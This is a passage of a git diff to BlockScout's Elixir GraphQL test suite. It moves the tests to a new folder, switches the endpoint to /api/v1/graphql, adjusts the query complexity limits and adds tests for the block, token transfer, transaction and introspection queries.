BlockScoutWeb.Schema.Query.AddressTest do variables = %{} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert %{"errors" => [error]} = json_response(conn, 200) assert error["message"] == ~s(In argument "hash": Expected type "AddressHash!", found null.) @@ -144,7 +144,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do variables = %{"hash" => "someInvalidHash"} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert %{"errors" => [error]} = json_response(conn, 200) assert error["message"] =~ ~s(Argument "hash" has invalid value) @@ -193,7 +193,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do "first" => 1 } - conn = post(conn, "/graphql", query: query, variables: variables) + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -251,7 +251,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do "first" => 1 } - conn = post(conn, "/graphql", query: query, variables: variables) + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -304,7 +304,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do "first" => 3 } - conn = post(conn, "/graphql", query: query, variables: variables) + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) %{ "data" => %{ @@ -366,7 +366,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do "first" => 3 } - conn = post(conn, "/graphql", query: query, variables: variables) + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) %{ "data" => %{ @@ -407,10 +407,12 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do variables = %{ "hash" => to_string(address.hash), - "first" => 67 + # Add +5 because of the increase in complexity limit. For more info, see + # https://github.com/blockscout/blockscout/pull/9630 + "first" => 67 + 5 } - conn = post(conn, "/graphql", query: query, variables: variables) + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) assert %{"errors" => [error1, error2, error3]} = json_response(conn, 200) assert error1["message"] =~ ~s(Field transactions is too complex) @@ -419,7 +421,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do end test "with 'last' and 'count' arguments", %{conn: conn} do - # "`last: N` must always be acompanied by either a `before:` argument to + # "`last: N` must always be accompanied by either a `before:` argument to # the query, or an explicit `count:` option to the `from_query` call. # Otherwise it is impossible to derive the required offset." # https://hexdocs.pm/absinthe_relay/Absinthe.Relay.Connection.html#from_query/4 @@ -465,7 +467,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do "count" => 9 } - conn = post(conn, "/graphql", query: query, variables: variables) + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) %{ "data" => %{ @@ -525,7 +527,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do "first" => 3 } - conn = post(conn, "/graphql", query: query1, variables: variables1) + conn = post(conn, "/api/v1/graphql", query: query1, variables: variables1) %{"data" => %{"address" => %{"transactions" => page1}}} = json_response(conn, 200) @@ -564,7 +566,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do "after" => last_cursor_page1 } - conn = post(conn, "/graphql", query: query2, variables: variables2) + conn = post(conn, "/api/v1/graphql", query: query2, variables: variables2) %{"data" => %{"address" => %{"transactions" => page2}}} = json_response(conn, 200) @@ -583,7 +585,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressTest do "after" => last_cursor_page2 } - conn = post(conn, "/graphql", query: query2, variables: variables3) + conn = post(conn, "/api/v1/graphql", query: query2, variables: variables3) %{"data" => %{"address" => %{"transactions" => page3}}} = json_response(conn, 200) diff --git a/apps/block_scout_web/test/block_scout_web/schema/query/addresses_test.exs b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/addresses_test.exs similarity index 85% rename from apps/block_scout_web/test/block_scout_web/schema/query/addresses_test.exs rename to apps/block_scout_web/test/block_scout_web/graphql/schema/query/addresses_test.exs index f6145a4afc1d..32bbc5fdd205 100644 --- a/apps/block_scout_web/test/block_scout_web/schema/query/addresses_test.exs +++ b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/addresses_test.exs @@ -1,4 +1,4 @@ -defmodule BlockScoutWeb.Schema.Query.AddressesTest do +defmodule BlockScoutWeb.GraphQL.Schema.Query.AddressesTest do use BlockScoutWeb.ConnCase describe "addresses field" do @@ -18,7 +18,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressesTest do variables = %{"hashes" => to_string(address.hash)} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -47,7 +47,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressesTest do variables = %{"hashes" => to_string(address.hash)} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -82,7 +82,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressesTest do variables = %{"hashes" => to_string(address.hash)} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -116,7 +116,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressesTest do variables = %{"hashes" => [to_string(address.hash)]} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert %{"errors" => [error]} = json_response(conn, 200) assert error["message"] =~ ~s(Addresses not found.) @@ -133,7 +133,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressesTest do variables = %{} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert %{"errors" => [error]} = json_response(conn, 200) assert error["message"] == ~s(In argument "hashes": Expected type "[AddressHash!]!", found null.) @@ -150,17 +150,17 @@ defmodule BlockScoutWeb.Schema.Query.AddressesTest do variables = %{"hashes" => ["someInvalidHash"]} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert %{"errors" => [error]} = json_response(conn, 200) assert error["message"] =~ ~s(Argument "hashes" has invalid value) end test "correlates complexity to size of 'hashes' argument", %{conn: conn} do - # max of 50 addresses with four fields of complexity 1 can be fetched - # per query: - # 50 * 4 = 200, which is equal to a max complexity of 200 - hashes = 51 |> build_list(:address) |> Enum.map(&to_string(&1.hash)) + # max of 53 addresses with four fields of complexity 1 can be fetched per + # query: 53 * 4 = 212, which is the upper bound before reaching the max + # complexity limit of 215 + hashes = 54 |> build_list(:address) |> Enum.map(&to_string(&1.hash)) query = """ query ($hashes: [AddressHash!]!) { @@ -175,7 +175,7 @@ defmodule BlockScoutWeb.Schema.Query.AddressesTest do variables = %{"hashes" => hashes} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert %{"errors" => [error1, error2]} = json_response(conn, 200) assert error1["message"] =~ ~s(Field addresses is too complex) diff --git a/apps/block_scout_web/test/block_scout_web/graphql/schema/query/block_test.exs b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/block_test.exs new file mode 100644 index 000000000000..8f2f6badbbda --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/block_test.exs @@ -0,0 +1,108 @@ +defmodule BlockScoutWeb.GraphQL.Schema.Query.BlockTest do + use BlockScoutWeb.ConnCase + + describe "block field" do + test "with valid argument 'number', returns all expected fields", %{conn: conn} do + block = insert(:block) + + query = """ + query ($number: Int!) { + block(number: $number) { + hash + consensus + difficulty + gas_limit + gas_used + nonce + number + size + timestamp + total_difficulty + miner_hash + parent_hash + parent_hash + } + } + """ + + variables = %{"number" => block.number} + + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) + + assert json_response(conn, 200) == %{ + "data" => %{ + "block" => %{ + "hash" => to_string(block.hash), + "consensus" => block.consensus, + "difficulty" => to_string(block.difficulty), + "gas_limit" => to_string(block.gas_limit), + "gas_used" => to_string(block.gas_used), + "nonce" => to_string(block.nonce), + "number" => block.number, + "size" => block.size, + "timestamp" => DateTime.to_iso8601(block.timestamp), + "total_difficulty" => to_string(block.total_difficulty), + "miner_hash" => to_string(block.miner_hash), + "parent_hash" => to_string(block.parent_hash) + } + } + } + end + + test "errors for non-existent block number", %{conn: conn} do + block = insert(:block) + non_existent_block_number = block.number + 1 + + query = """ + query ($number: Int!) { + block(number: $number) { + number + } + } + """ + + variables = %{"number" => non_existent_block_number} + + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) + + assert %{"errors" => [error]} = json_response(conn, 200) + assert error["message"] =~ ~s(Block number #{non_existent_block_number} was not found) + end + + test "errors if argument 'number' is missing", %{conn: conn} do + insert(:block) + + query = """ + { + block { + number + } + } + """ + + conn = get(conn, "/api/v1/graphql", query: query) + + assert %{"errors" => [error]} = json_response(conn, 200) + assert error["message"] == ~s(In argument "number": Expected type "Int!", found null.) + end + + test "errors if argument 'number' is not an integer", %{conn: conn} do + insert(:block) + + query = """ + query ($number: Int!) { + block(number: $number) { + number + } + } + """ + + variables = %{"number" => "invalid"} + + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) + + assert %{"errors" => [error]} = json_response(conn, 200) + assert error["message"] =~ ~s(Argument "number" has invalid value) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/graphql/schema/query/introspection_test.exs b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/introspection_test.exs new file mode 100644 index 000000000000..792d4e7d8344 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/introspection_test.exs @@ -0,0 +1,125 @@ +defmodule BlockScoutWeb.Schema.Query.IntrospectionTest do + use BlockScoutWeb.ConnCase + + test "fetches schema", %{conn: conn} do + introspection_query = ~S""" + query IntrospectionQuery { + __schema { + queryType { + name + } + mutationType { + name + } + + types { + ...FullType + } + directives { + name + description + + locations + args { + ...InputValue + } + } + } + } + + fragment FullType on __Type { + kind + name + description + + fields(includeDeprecated: true) { + name + description + args { + ...InputValue + } + type { + ...TypeRef + } + isDeprecated + deprecationReason + } + inputFields { + ...InputValue + } + interfaces { + ...TypeRef + } + enumValues(includeDeprecated: true) { + name + description + isDeprecated + deprecationReason + } + possibleTypes { + ...TypeRef + } + } + + fragment InputValue on __InputValue { + name + description + type { + ...TypeRef + } + defaultValue + } + + fragment TypeRef on __Type { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + ofType { + kind + name + } + } + } + } + } + } + } + } + } + } + """ + + params = %{ + "operationName" => "IntrospectionQuery", + "query" => introspection_query + } + + conn = get(conn, "/api/v1/graphql", params) + response = json_response(conn, 200) + + assert %{"data" => %{"__schema" => %{"directives" => _}}} = response + end +end diff --git a/apps/block_scout_web/test/block_scout_web/schema/query/node_test.exs b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/node_test.exs similarity index 90% rename from apps/block_scout_web/test/block_scout_web/schema/query/node_test.exs rename to apps/block_scout_web/test/block_scout_web/graphql/schema/query/node_test.exs index 4638e2f1c379..05c38b5fdcd8 100644 --- a/apps/block_scout_web/test/block_scout_web/schema/query/node_test.exs +++ b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/node_test.exs @@ -1,4 +1,4 @@ -defmodule BlockScoutWeb.Schema.Query.NodeTest do +defmodule BlockScoutWeb.GraphQL.Schema.Query.NodeTest do use BlockScoutWeb.ConnCase describe "node field" do @@ -20,7 +20,7 @@ defmodule BlockScoutWeb.Schema.Query.NodeTest do variables = %{"id" => id} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -50,7 +50,7 @@ defmodule BlockScoutWeb.Schema.Query.NodeTest do variables = %{"id" => id} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) %{"errors" => [error]} = json_response(conn, 200) @@ -88,7 +88,7 @@ defmodule BlockScoutWeb.Schema.Query.NodeTest do variables = %{"id" => id} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -132,7 +132,7 @@ defmodule BlockScoutWeb.Schema.Query.NodeTest do variables = %{"id" => id} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) %{"errors" => [error]} = json_response(conn, 200) @@ -163,7 +163,7 @@ defmodule BlockScoutWeb.Schema.Query.NodeTest do variables = %{"id" => id} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) assert json_response(conn, 200) == %{ "data" => %{ @@ -199,7 +199,7 @@ defmodule BlockScoutWeb.Schema.Query.NodeTest do variables = %{"id" => id} - conn = get(conn, "/graphql", query: query, variables: variables) + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) %{"errors" => [error]} = json_response(conn, 200) diff --git a/apps/block_scout_web/test/block_scout_web/graphql/schema/query/token_transfers_test.exs b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/token_transfers_test.exs new file mode 100644 index 000000000000..4c0d1499b3e6 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/token_transfers_test.exs @@ -0,0 +1,327 @@ +defmodule BlockScoutWeb.GraphQL.Schema.Query.TokenTransfersTest do + use BlockScoutWeb.ConnCase + + describe "token_transfers field" do + test "with valid argument, returns all expected fields", %{conn: conn} do + transaction = insert(:transaction) + token_transfer = insert(:token_transfer, transaction: transaction, token_ids: [5], amounts: [10]) + address_hash = to_string(token_transfer.token_contract_address_hash) + + query = """ + query ($token_contract_address_hash: AddressHash!, $first: Int!) { + token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first) { + edges { + node { + amount + amounts + block_number + log_index + token_ids + from_address_hash + to_address_hash + token_contract_address_hash + transaction_hash + } + } + } + } + """ + + variables = %{ + "token_contract_address_hash" => address_hash, + "first" => 1 + } + + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) + + assert json_response(conn, 200) == %{ + "data" => %{ + "token_transfers" => %{ + "edges" => [ + %{ + "node" => %{ + "amount" => to_string(token_transfer.amount), + "amounts" => Enum.map(token_transfer.amounts, &to_string/1), + "block_number" => token_transfer.block_number, + "log_index" => token_transfer.log_index, + "token_ids" => Enum.map(token_transfer.token_ids, &to_string/1), + "from_address_hash" => to_string(token_transfer.from_address_hash), + "to_address_hash" => to_string(token_transfer.to_address_hash), + "token_contract_address_hash" => to_string(token_transfer.token_contract_address_hash), + "transaction_hash" => to_string(token_transfer.transaction_hash) + } + } + ] + } + } + } + end + + test "with token contract address with zero token transfers", %{conn: conn} do + address = insert(:contract_address) + + query = """ + query ($token_contract_address_hash: AddressHash!, $first: Int!) { + token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first) { + edges { + node { + amount + block_number + log_index + from_address_hash + to_address_hash + token_contract_address_hash + transaction_hash + } + } + } + } + """ + + variables = %{ + "token_contract_address_hash" => to_string(address.hash), + "first" => 10 + } + + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) + + assert json_response(conn, 200) == %{ + "data" => %{ + "token_transfers" => %{ + "edges" => [] + } + } + } + end + + test "complexity correlates to first or last argument", %{conn: conn} do + address = insert(:contract_address) + + query1 = """ + query ($token_contract_address_hash: AddressHash!, $first: Int!) { + token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first) { + edges { + node { + amount + from_address_hash + to_address_hash + } + } + } + } + """ + + variables1 = %{ + "token_contract_address_hash" => to_string(address.hash), + "first" => 55 + } + + response1 = + conn + |> post("/api/v1/graphql", query: query1, variables: variables1) + |> json_response(200) + + %{"errors" => [response1_error1, response1_error2]} = response1 + + assert response1_error1["message"] =~ ~s(Field token_transfers is too complex) + assert response1_error2["message"] =~ ~s(Operation is too complex) + + query2 = """ + query ($token_contract_address_hash: AddressHash!, $last: Int!) { + token_transfers(token_contract_address_hash: $token_contract_address_hash, last: $last) { + edges { + node { + amount + from_address_hash + to_address_hash + } + } + } + } + """ + + variables2 = %{ + "token_contract_address_hash" => to_string(address.hash), + "last" => 55 + } + + response2 = + conn + |> post("/api/v1/graphql", query: query2, variables: variables2) + |> json_response(200) + + %{"errors" => [response2_error1, response2_error2]} = response2 + assert response2_error1["message"] =~ ~s(Field token_transfers is too complex) + assert response2_error2["message"] =~ ~s(Operation is too complex) + end + + test "with 'last' and 'count' arguments", %{conn: conn} do + # "`last: N` must always be accompanied by either a `before:` argument to + # the query, or an explicit `count:` option to the `from_query` call. + # Otherwise it is impossible to derive the required offset." + # https://hexdocs.pm/absinthe_relay/Absinthe.Relay.Connection.html#from_query/4 + # + # This test ensures support for a 'count' argument. + + address = insert(:contract_address) + + blocks = insert_list(2, :block) + + [transaction1, transaction2] = + for block <- blocks do + :transaction + |> insert() + |> with_block(block) + end + + token_transfer_attrs1 = %{ + block_number: transaction1.block_number, + transaction: transaction1, + token_contract_address: address + } + + token_transfer_attrs2 = %{ + block_number: transaction2.block_number, + transaction: transaction2, + token_contract_address: address + } + + insert(:token_transfer, token_transfer_attrs1) + insert(:token_transfer, token_transfer_attrs2) + + query = """ + query ($token_contract_address_hash: AddressHash!, $last: Int!, $count: Int) { + token_transfers(token_contract_address_hash: $token_contract_address_hash, last: $last, count: $count) { + edges { + node { + transaction_hash + } + } + } + } + """ + + variables = %{ + "token_contract_address_hash" => to_string(address.hash), + "last" => 1, + "count" => 2 + } + + [token_transfer] = + conn + |> post("/api/v1/graphql", query: query, variables: variables) + |> json_response(200) + |> get_in(["data", "token_transfers", "edges"]) + + assert token_transfer["node"]["transaction_hash"] == to_string(transaction1.hash) + end + + test "pagination support with 'first' and 'after' arguments", %{conn: conn} do + address = insert(:contract_address) + + blocks = insert_list(3, :block) + + [transaction1, transaction2, transaction3] = + transactions = + for block <- blocks do + :transaction + |> insert() + |> with_block(block) + end + + for transaction <- transactions do + token_transfer_attrs = %{ + block_number: transaction.block_number, + transaction: transaction, + token_contract_address: address + } + + insert(:token_transfer, token_transfer_attrs) + end + + query1 = """ + query ($token_contract_address_hash: AddressHash!, $first: Int!) { + token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first) { + page_info { + has_next_page + has_previous_page + } + edges { + node { + transaction_hash + } + cursor + } + } + } + """ + + variables1 = %{ + "token_contract_address_hash" => to_string(address.hash), + "first" => 1 + } + + conn = post(conn, "/api/v1/graphql", query: query1, variables: variables1) + + %{"data" => %{"token_transfers" => page1}} = json_response(conn, 200) + + assert page1["page_info"] == %{"has_next_page" => true, "has_previous_page" => false} + assert Enum.all?(page1["edges"], &(&1["node"]["transaction_hash"] == to_string(transaction3.hash))) + + last_cursor_page1 = + page1 + |> Map.get("edges") + |> List.last() + |> Map.get("cursor") + + query2 = """ + query ($token_contract_address_hash: AddressHash!, $first: Int!, $after: String!) { + token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first, after: $after) { + page_info { + has_next_page + has_previous_page + } + edges { + node { + transaction_hash + } + cursor + } + } + } + """ + + variables2 = %{ + "token_contract_address_hash" => to_string(address.hash), + "first" => 1, + "after" => last_cursor_page1 + } + + conn = post(conn, "/api/v1/graphql", query: query2, variables: variables2) + + %{"data" => %{"token_transfers" => page2}} = json_response(conn, 200) + + assert page2["page_info"] == %{"has_next_page" => true, "has_previous_page" => true} + assert Enum.all?(page2["edges"], &(&1["node"]["transaction_hash"] == to_string(transaction2.hash))) + + last_cursor_page2 = + page2 + |> Map.get("edges") + |> List.last() + |> Map.get("cursor") + + variables3 = %{ + "token_contract_address_hash" => to_string(address.hash), + "first" => 1, + "after" => last_cursor_page2 + } + + conn = post(conn, "/api/v1/graphql", query: query2, variables: variables3) + + %{"data" => %{"token_transfers" => page3}} = json_response(conn, 200) + + assert page3["page_info"] == %{"has_next_page" => false, "has_previous_page" => true} + assert Enum.all?(page3["edges"], &(&1["node"]["transaction_hash"] == to_string(transaction1.hash))) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/graphql/schema/query/transaction_test.exs b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/transaction_test.exs new file mode 100644 index 000000000000..f13049bde761 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/graphql/schema/query/transaction_test.exs @@ -0,0 +1,552 @@ +defmodule BlockScoutWeb.GraphQL.Schema.Query.TransactionTest do + use BlockScoutWeb.ConnCase + + describe "transaction field" do + test "with valid argument 'hash', returns all expected fields", %{conn: conn} do + block = insert(:block) + + transaction = + :transaction + |> insert() + |> with_block(block, status: :ok) + + query = """ + query ($hash: FullHash!) { + transaction(hash: $hash) { + hash + block_number + cumulative_gas_used + error + gas + gas_price + gas_used + index + input + nonce + r + s + status + v + value + from_address_hash + to_address_hash + created_contract_address_hash + } + } + """ + + variables = %{"hash" => to_string(transaction.hash)} + + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) + + assert json_response(conn, 200) == %{ + "data" => %{ + "transaction" => %{ + "hash" => to_string(transaction.hash), + "block_number" => transaction.block_number, + "cumulative_gas_used" => to_string(transaction.cumulative_gas_used), + "error" => transaction.error, + "gas" => to_string(transaction.gas), + "gas_price" => to_string(transaction.gas_price.value), + "gas_used" => to_string(transaction.gas_used), + "index" => transaction.index, + "input" => to_string(transaction.input), + "nonce" => to_string(transaction.nonce), + "r" => to_string(transaction.r), + "s" => to_string(transaction.s), + "status" => transaction.status |> to_string() |> String.upcase(), + "v" => to_string(transaction.v), + "value" => to_string(transaction.value.value), + "from_address_hash" => to_string(transaction.from_address_hash), + "to_address_hash" => to_string(transaction.to_address_hash), + "created_contract_address_hash" => nil + } + } + } + end + + test "errors for non-existent transaction hash", %{conn: conn} do + transaction = build(:transaction) + + query = """ + query ($hash: FullHash!) { + transaction(hash: $hash) { + status + } + } + """ + + variables = %{"hash" => to_string(transaction.hash)} + + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) + + assert %{"errors" => [error]} = json_response(conn, 200) + assert error["message"] == "Transaction not found." + end + + test "errors if argument 'hash' is missing", %{conn: conn} do + query = """ + { + transaction { + status + } + } + """ + + conn = get(conn, "/api/v1/graphql", query: query) + + assert %{"errors" => [error]} = json_response(conn, 200) + assert error["message"] == ~s(In argument "hash": Expected type "FullHash!", found null.) + end + + test "errors if argument 'hash' is not a 'FullHash'", %{conn: conn} do + query = """ + query ($hash: FullHash!) { + transaction(hash: $hash) { + status + } + } + """ + + variables = %{"hash" => "0x000"} + + conn = get(conn, "/api/v1/graphql", query: query, variables: variables) + + assert %{"errors" => [error]} = json_response(conn, 200) + assert error["message"] =~ ~s(Argument "hash" has invalid value) + end + end + + describe "transaction internal_transactions field" do + test "returns all expected internal_transaction fields", %{conn: conn} do + address = insert(:address) + contract_address = insert(:contract_address) + + block = insert(:block) + + transaction = + :transaction + |> insert(from_address: address) + |> with_contract_creation(contract_address) + |> with_block(block) + + internal_transaction_attributes = %{ + transaction: transaction, + index: 0, + from_address: address, + call_type: :call, + block_hash: transaction.block_hash, + block_index: 0 + } + + internal_transaction = + :internal_transaction_create + |> insert(internal_transaction_attributes) + |> with_contract_creation(contract_address) + + query = """ + query ($hash: FullHash!, $first: Int!) { + transaction(hash: $hash) { + internal_transactions(first: $first) { + edges { + node { + call_type + created_contract_code + error + gas + gas_used + index + init + input + output + trace_address + type + value + block_number + transaction_index + created_contract_address_hash + from_address_hash + to_address_hash + transaction_hash + } + } + } + } + } + """ + + variables = %{ + "hash" => to_string(transaction.hash), + "first" => 1 + } + + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) + + assert json_response(conn, 200) == %{ + "data" => %{ + "transaction" => %{ + "internal_transactions" => %{ + "edges" => [ + %{ + "node" => %{ + "call_type" => internal_transaction.call_type |> to_string() |> String.upcase(), + "created_contract_code" => to_string(internal_transaction.created_contract_code), + "error" => internal_transaction.error, + "gas" => to_string(internal_transaction.gas), + "gas_used" => to_string(internal_transaction.gas_used), + "index" => internal_transaction.index, + "init" => to_string(internal_transaction.init), + "input" => nil, + "output" => nil, + "trace_address" => Jason.encode!(internal_transaction.trace_address), + "type" => internal_transaction.type |> to_string() |> String.upcase(), + "value" => to_string(internal_transaction.value.value), + "block_number" => internal_transaction.block_number, + "transaction_index" => internal_transaction.transaction_index, + "created_contract_address_hash" => + to_string(internal_transaction.created_contract_address_hash), + "from_address_hash" => to_string(internal_transaction.from_address_hash), + "to_address_hash" => nil, + "transaction_hash" => to_string(internal_transaction.transaction_hash) + } + } + ] + } + } + } + } + end + + test "with transaction with zero internal transactions", %{conn: conn} do + address = insert(:address) + + block = insert(:block) + + transaction = + :transaction + |> insert(from_address: address) + |> with_block(block) + + query = """ + query ($hash: FullHash!, $first: Int!) { + transaction(hash: $hash) { + internal_transactions(first: $first) { + edges { + node { + index + transaction_hash + } + } + } + } + } + """ + + variables = %{ + "hash" => to_string(transaction.hash), + "first" => 1 + } + + conn = post(conn, "/api/v1/graphql", query: query, variables: variables) + + assert json_response(conn, 200) == %{ + "data" => %{ + "transaction" => %{ + "internal_transactions" => %{ + "edges" => [] + } + } + } + } + end + + test "internal transactions are ordered by ascending index", %{conn: conn} do + transaction = insert(:transaction) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + index: 2, + block_hash: transaction.block_hash, + block_index: 2 + ) + + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_hash: transaction.block_hash, + block_index: 0 + ) + + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_hash: transaction.block_hash, + block_index: 1 + ) + + query = """ + query ($hash: FullHash!, $first: Int!) { + transaction(hash: $hash) { + internal_transactions(first: $first) { + edges { + node { + index + transaction_hash + } + } + } + } + } + """ + + variables = %{ + "hash" => to_string(transaction.hash), + "first" => 3 + } + + response = + conn + |> post("/api/v1/graphql", query: query, variables: variables) + |> json_response(200) + + internal_transactions = get_in(response, ["data", "transaction", "internal_transactions", "edges"]) + + index_order = Enum.map(internal_transactions, & &1["node"]["index"]) + + assert index_order == Enum.sort(index_order) + end + + test "complexity correlates to first or last argument", %{conn: conn} do + transaction = insert(:transaction) + + query1 = """ + query ($hash: FullHash!, $first: Int!) { + transaction(hash: $hash) { + internal_transactions(first: $first) { + edges { + node { + index + transaction_hash + } + } + } + } + } + """ + + variables1 = %{ + "hash" => to_string(transaction.hash), + "first" => 55 + } + + response1 = + conn + |> post("/api/v1/graphql", query: query1, variables: variables1) + |> json_response(200) + + assert %{"errors" => [error1, error2, error3]} = response1 + assert error1["message"] =~ ~s(Field internal_transactions is too complex) + assert error2["message"] =~ ~s(Field transaction is too complex) + assert error3["message"] =~ ~s(Operation is too complex) + + query2 = """ + query ($hash: FullHash!, $last: Int!, $count: Int!) { + transaction(hash: $hash) { + internal_transactions(last: $last, count: $count) { + edges { + node { + index + transaction_hash + } + } + } + } + } + """ + + variables2 = %{ + "hash" => to_string(transaction.hash), + "last" => 55, + "count" => 100 + } + + response2 = + conn + |> post("/api/v1/graphql", query: query2, variables: variables2) + |> json_response(200) + + assert %{"errors" => [error1, error2, error3]} = response2 + assert error1["message"] =~ ~s(Field internal_transactions is too complex) + assert error2["message"] =~ ~s(Field transaction is too complex) + assert error3["message"] =~ ~s(Operation is too complex) + end + + test "with 'last' and 'count' arguments", %{conn: conn} do + # "`last: N` must always be accompanied by either a `before:` argument to + # the query, or an explicit `count:` option to the `from_query` call. + # Otherwise it is impossible to derive the required offset." + # https://hexdocs.pm/absinthe_relay/Absinthe.Relay.Connection.html#from_query/4 + # + # This test ensures support for a 'count' argument. + + transaction = insert(:transaction) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + index: 2, + block_hash: transaction.block_hash, + block_index: 2 + ) + + insert(:internal_transaction, + transaction: transaction, + index: 0, + block_hash: transaction.block_hash, + block_index: 0 + ) + + insert(:internal_transaction, + transaction: transaction, + index: 1, + block_hash: transaction.block_hash, + block_index: 1 + ) + + query = """ + query ($hash: FullHash!, $last: Int!, $count: Int!) { + transaction(hash: $hash) { + internal_transactions(last: $last, count: $count) { + edges { + node { + index + transaction_hash + } + } + } + } + } + """ + + variables = %{ + "hash" => to_string(transaction.hash), + "last" => 1, + "count" => 3 + } + + [internal_transaction] = + conn + |> post("/api/v1/graphql", query: query, variables: variables) + |> json_response(200) + |> get_in(["data", "transaction", "internal_transactions", "edges"]) + + assert internal_transaction["node"]["index"] == 2 + end + + test "pagination support with 'first' and 'after' arguments", %{conn: conn} do + transaction = insert(:transaction) |> with_block() + + for index <- 0..5 do + insert(:internal_transaction_create, + transaction: transaction, + index: index, + block_hash: transaction.block_hash, + block_index: index + ) + end + + query1 = """ + query ($hash: FullHash!, $first: Int!) { + transaction(hash: $hash) { + internal_transactions(first: $first) { + page_info { + has_next_page + has_previous_page + } + edges { + node { + index + transaction_hash + } + cursor + } + } + } + } + """ + + variables1 = %{ + "hash" => to_string(transaction.hash), + "first" => 2 + } + + conn = post(conn, "/api/v1/graphql", query: query1, variables: variables1) + + %{"data" => %{"transaction" => %{"internal_transactions" => page1}}} = json_response(conn, 200) + + assert page1["page_info"] == %{"has_next_page" => true, "has_previous_page" => false} + assert Enum.all?(page1["edges"], &(&1["node"]["index"] in 0..1)) + + last_cursor_page1 = + page1 + |> Map.get("edges") + |> List.last() + |> Map.get("cursor") + + query2 = """ + query ($hash: FullHash!, $first: Int!, $after: String!) { + transaction(hash: $hash) { + internal_transactions(first: $first, after: $after) { + page_info { + has_next_page + has_previous_page + } + edges { + node { + index + transaction_hash + } + cursor + } + } + } + } + """ + + variables2 = %{ + "hash" => to_string(transaction.hash), + "first" => 2, + "after" => last_cursor_page1 + } + + page2 